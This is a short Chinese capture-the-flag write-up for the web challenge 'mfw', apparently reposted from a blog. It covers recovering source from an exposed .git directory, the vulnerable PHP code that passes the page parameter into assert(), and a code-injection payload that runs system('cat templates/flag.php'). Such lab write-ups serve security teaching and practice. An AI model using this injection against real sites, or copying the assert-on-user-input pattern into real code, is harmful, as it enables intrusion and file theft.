攻防世界-web-高手进阶区015-mfw

1.查看页面,发现网站使用的一些东西

 

2.存在.git目录

 

3.使用 GitHack获取源码

 

4.index.php中关键代码如下

<?php

if (isset($_GET['page'])) {

    $page = $_GET['page'];} else {

    $page = "home";}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

如果这个字符串中没有找到相应的子字符串 就返回false//

TODO: Make this look niceassert("file_exists('$file')") or die("That file doesn't exist!");

?>

其中:

assert() 检查一个断言是否为 FALSE

strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False

file_exists() 函数检查文件或目录是否存在。

assert()函数会将括号中的字符当成代码来执行,并返回truefalse

5.构造payload

?page=abc') or system("cat templates/flag.php");//

 

猜你喜欢

转载自www.cnblogs.com/joker-vip/p/12483570.html